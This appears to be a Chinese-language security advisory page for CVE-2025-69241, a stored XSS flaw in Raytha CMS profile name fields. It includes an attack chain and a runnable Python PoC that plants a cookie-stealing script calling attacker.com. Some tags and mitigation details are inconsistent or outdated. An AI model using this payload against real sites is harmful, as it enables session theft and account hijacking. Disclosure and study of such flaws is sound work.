IPBUF安全漏洞报告
English
CVE-2025-69241 CVSS 5.4 中危

CVE-2025-69241: Raytha CMS存储型XSS漏洞(FirstName/LastName参数)

披露日期: 2026-03-16

漏洞信息

漏洞编号
CVE-2025-69241
漏洞类型
存储型XSS
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Raytha CMS

相关标签

存储型XSSRaytha CMSCVE-2025-69241身份验证绕过Web应用安全内容管理系统跨站脚本CERT.PL

漏洞概述

CVE-2025-69241是Raytha CMS中的一个存储型跨站脚本(Stored XSS)漏洞,CVSS评分5.4(中危)。该漏洞存在于用户个人资料编辑功能中,攻击者可以通过FirstName(名)和LastName(姓)参数注入任意HTML和JavaScript代码。由于这些输入在提交后会被永久存储在服务器端,当其他用户访问包含恶意代码的页面时,注入的脚本将在受害者浏览器中执行。攻击者可利用此漏洞窃取用户会话Cookie、劫持用户账户、进行钓鱼攻击或传播恶意软件。该漏洞影响Raytha CMS 1.4.6之前的所有版本,攻击前提是拥有有效的中等权限用户账户。漏洞由[email protected]于2026年3月16日披露,厂商已在1.4.6版本中修复此问题。

技术细节

Raytha CMS在处理用户个人资料更新时,未对FirstName和LastName字段进行充分的输入验证和输出编码。当用户编辑个人资料并提交这些字段时,恶意payload被直接存入数据库。由于系统缺少XSS过滤机制,存储的恶意内容会在用户个人资料页面、评论区域或其他显示用户信息的位置被渲染。攻击流程如下:1)攻击者使用低权限账户登录系统;2)访问个人资料编辑页面;3)在FirstName或LastName字段中插入XSS payload(如<script>alert(document.cookie)</script>);4)提交修改后,payload被永久存储;5)当其他用户访问该用户资料页面时,恶意脚本在其浏览器上下文中执行。由于Raytha CMS未实施内容安全策略(CSP)或输出编码,攻击者可窃取认证令牌、进行CSRF攻击或重定向用户至恶意站点。修复版本1.4.6添加了输入验证和HTML实体编码来缓解此漏洞。

攻击链分析

STEP 1
步骤1
攻击者获取Raytha CMS有效账户(低权限即可),使用该凭证登录系统
STEP 2
步骤2
访问用户个人资料编辑页面(/account/profile)
STEP 3
步骤3
在FirstName或LastName输入框中构造恶意XSS payload,如<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>
STEP 4
步骤4
提交表单,恶意payload被存入数据库,由于系统未做输入过滤,payload被永久保存
STEP 5
步骤5
受害者访问攻击者的个人资料页面,服务器从数据库读取并输出未编码的用户名
STEP 6
步骤6
受害者浏览器执行注入的JavaScript代码,攻击者窃取Cookie或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import re # CVE-2025-69241 PoC - Raytha CMS Stored XSS # Target: Raytha CMS < 1.4.6 # Attack Vector: Profile editing via FirstName/LastName parameters BASE_URL = "http://target-raytha-cms.com" USERNAME = "[email protected]" PASSWORD = "password123" # XSS payload - Cookie stealer XSS_PAYLOAD = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>' def login(session): """Authenticate with valid credentials""" login_url = f"{BASE_URL}/auth/login" data = {"email": USERNAME, "password": PASSWORD} response = session.post(login_url, data=data, allow_redirects=True) return "Logout" in response.text def exploit_stored_xss(session): """Inject XSS payload via FirstName and LastName fields""" profile_url = f"{BASE_URL}/account/profile" # Prepare XSS payload payload = { "first_name": XSS_PAYLOAD, "last_name": "<img src=x onerror=alert(document.domain)>", "submit": "Save Changes" } response = session.post(profile_url, data=payload) if response.status_code == 200: print("[+] XSS payload injected successfully") print("[*] Payload will execute when profile page is visited") else: print("[-] Injection failed") def verify(session): """Verify XSS is stored and reflected""" profile_url = f"{BASE_URL}/account/profile" response = session.get(profile_url) if XSS_PAYLOAD in response.text: print("[+] XSS confirmed - Payload stored in profile") return True return False def main(): session = requests.Session() print("[*] Logging in...") if not login(session): print("[-] Login failed") return print("[+] Login successful") print("[*] Injecting stored XSS payload...") exploit_stored_xss(session) print("[*] Verifying injection...") verify(session) print("[*] PoC complete - Any user viewing this profile will trigger XSS") if __name__ == "__main__": main()

影响范围

Raytha CMS < 1.4.6

防御指南

临时缓解措施
在厂商发布正式补丁前,可采取以下临时缓解措施:1)限制用户个人资料编辑功能的权限,仅允许管理员操作;2)在Web服务器层面配置XSS防护规则;3)启用浏览器的XSS过滤器(如Chrome的X-XSS-Protection);4)监控日志中的可疑<script>标签和事件处理器(如onerror、onload);5)考虑临时禁用个人资料编辑功能直至完成升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表